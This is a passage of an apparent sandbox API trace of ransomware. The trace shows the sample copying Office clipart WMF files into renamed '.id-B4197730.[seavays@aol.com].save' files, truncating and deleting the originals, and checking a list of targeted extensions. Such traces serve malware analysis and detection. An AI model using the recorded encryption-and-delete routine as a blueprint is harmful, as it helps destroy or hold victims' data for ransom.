lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.477] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.477] SetEndOfFile (hFile=0x520) returned 1 [0173.477] CloseHandle (hObject=0x520) returned 1 [0173.477] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.477] SetEndOfFile (hFile=0x528) returned 1 [0173.484] CloseHandle (hObject=0x528) returned 1 [0173.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0173.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.485] lstrlenW (lpString=".doc") returned 4 [0173.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString=".docx") returned 5 [0173.486] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.486] lstrlenW (lpString=".pdf") returned 4 [0173.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString=".xls") returned 4 [0173.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.486] lstrlenW (lpString=".xlsx") returned 5 [0173.486] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.486] lstrlenW (lpString=".ppt") returned 4 [0173.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.486] lstrlenW (lpString=".zip") returned 4 [0173.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.486] lstrlenW (lpString=".rar") returned 4 [0173.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString=".bz2") returned 4 [0173.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString=".7z") returned 3 [0173.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.486] lstrlenW (lpString=".dbf") returned 4 [0173.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.486] lstrlenW (lpString=".1cd") returned 4 [0173.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.486] lstrlenW (lpString=".jpg") returned 4 [0173.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.486] lstrlenW (lpString=".doc") returned 4 [0173.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.487] lstrlenW (lpString=".docx") returned 5 [0173.487] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.487] lstrlenW (lpString=".pdf") returned 4 [0173.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.487] lstrlenW (lpString=".xls") returned 4 [0173.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.487] lstrlenW (lpString=".xlsx") returned 5 [0173.487] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.487] lstrlenW (lpString=".ppt") returned 4 [0173.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.487] lstrlenW (lpString=".zip") returned 4 [0173.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.487] lstrlenW (lpString=".rar") returned 4 [0173.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.487] lstrlenW (lpString=".bz2") returned 4 [0173.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.487] lstrlenW (lpString=".7z") returned 3 [0173.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.487] lstrlenW (lpString=".dbf") returned 4 [0173.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.487] lstrlenW (lpString=".1cd") returned 4 [0173.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0173.487] lstrlenW (lpString=".jpg") returned 4 [0173.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.488] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.488] lstrlenW (lpString="J0107328.WMF") returned 12 [0173.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.651] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6532) returned 1 [0173.651] CloseHandle (hObject=0x528) returned 1 [0173.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220 [0174.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0174.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.550] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.550] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0174.552] GetLastError () returned 0x0 [0174.552] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1984, lpOverlapped=0x0) returned 1 [0174.553] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1990, lpOverlapped=0x0) returned 1 [0174.554] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.554] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.554] SetEndOfFile (hFile=0x528) returned 1 [0174.555] CloseHandle (hObject=0x528) returned 1 [0174.555] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.555] SetEndOfFile (hFile=0x518) returned 1 [0174.557] CloseHandle (hObject=0x518) returned 1 [0174.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0174.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.559] lstrlenW (lpString=".doc") returned 4 [0174.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.559] lstrlenW (lpString=".docx") returned 5 [0174.559] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.559] lstrlenW (lpString=".pdf") returned 4 [0174.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.559] lstrlenW (lpString=".xls") returned 4 [0174.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.559] lstrlenW (lpString=".xlsx") returned 5 [0174.559] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.559] lstrlenW (lpString=".ppt") returned 4 [0174.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.559] lstrlenW (lpString=".zip") returned 4 [0174.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.559] lstrlenW (lpString=".rar") returned 4 [0174.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.559] lstrlenW (lpString=".bz2") returned 4 [0174.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.559] lstrlenW (lpString=".7z") returned 3 [0174.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.560] lstrlenW (lpString=".dbf") returned 4 [0174.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.560] lstrlenW (lpString=".1cd") returned 4 [0174.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.560] lstrlenW (lpString=".jpg") returned 4 [0174.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.560] lstrlenW (lpString=".doc") returned 4 [0174.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString=".docx") returned 5 [0174.560] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.560] lstrlenW (lpString=".pdf") returned 4 [0174.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString=".xls") returned 4 [0174.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.560] lstrlenW (lpString=".xlsx") returned 5 [0174.560] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.560] lstrlenW (lpString=".ppt") returned 4 [0174.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.560] lstrlenW (lpString=".zip") returned 4 [0174.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.560] lstrlenW (lpString=".rar") returned 4 [0174.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString=".bz2") returned 4 [0174.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.560] lstrlenW (lpString=".7z") returned 3 [0174.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.561] lstrlenW (lpString=".dbf") returned 4 [0174.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.561] lstrlenW (lpString=".1cd") returned 4 [0174.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0174.561] lstrlenW (lpString=".jpg") returned 4 [0174.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.561] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0174.561] lstrlenW (lpString="J0107488.WMF") returned 12 [0174.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.562] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8000) returned 1 [0174.562] CloseHandle (hObject=0x518) returned 1 [0174.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220 [0174.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0174.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.563] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.563] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0174.564] GetLastError () returned 0x0 [0174.564] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1f40, lpOverlapped=0x0) returned 1 [0174.566] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1f50, lpOverlapped=0x0) returned 1 [0174.567] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.568] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.568] SetEndOfFile (hFile=0x528) returned 1 [0174.568] CloseHandle (hObject=0x528) returned 1 [0174.568] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.568] SetEndOfFile (hFile=0x518) returned 1 [0174.571] CloseHandle (hObject=0x518) returned 1 [0174.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.573] lstrlenW (lpString=".doc") returned 4 [0174.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.573] lstrlenW (lpString=".docx") returned 5 [0174.573] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.573] lstrlenW (lpString=".pdf") returned 4 [0174.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.573] lstrlenW (lpString=".xls") returned 4 [0174.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.573] lstrlenW (lpString=".xlsx") returned 5 [0174.573] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.573] lstrlenW (lpString=".ppt") returned 4 [0174.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.573] lstrlenW (lpString=".zip") returned 4 [0174.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.573] lstrlenW (lpString=".rar") returned 4 [0174.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.573] lstrlenW (lpString=".bz2") returned 4 [0174.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.573] lstrlenW (lpString=".7z") returned 3 [0174.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.573] lstrlenW (lpString=".dbf") returned 4 [0174.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.573] lstrlenW (lpString=".1cd") returned 4 [0174.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.573] lstrlenW (lpString=".jpg") returned 4 [0174.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.574] lstrlenW (lpString=".doc") returned 4 [0174.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString=".docx") returned 5 [0174.574] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.574] lstrlenW (lpString=".pdf") returned 4 [0174.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString=".xls") returned 4 [0174.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.574] lstrlenW (lpString=".xlsx") returned 5 [0174.574] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.574] lstrlenW (lpString=".ppt") returned 4 [0174.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.574] lstrlenW (lpString=".zip") returned 4 [0174.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.574] lstrlenW (lpString=".rar") returned 4 [0174.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString=".bz2") returned 4 [0174.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString=".7z") returned 3 [0174.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.574] lstrlenW (lpString=".dbf") returned 4 [0174.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.574] lstrlenW (lpString=".1cd") returned 4 [0174.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0174.574] lstrlenW (lpString=".jpg") returned 4 [0174.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.575] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0174.575] lstrlenW (lpString="J0107490.WMF") returned 12 [0174.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.576] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16468) returned 1 [0174.576] CloseHandle (hObject=0x518) returned 1 [0174.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220 [0174.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0174.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.576] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.577] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0174.577] GetLastError () returned 0x0 [0174.577] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4054, lpOverlapped=0x0) returned 1 [0174.580] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4060, lpOverlapped=0x0) returned 1 [0174.581] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.581] WriteFile (in: hFile=0x528, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.581] SetEndOfFile (hFile=0x528) returned 1 [0174.581] CloseHandle (hObject=0x528) returned 1 [0174.581] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.581] SetEndOfFile (hFile=0x518) returned 1 [0174.584] CloseHandle (hObject=0x518) returned 1 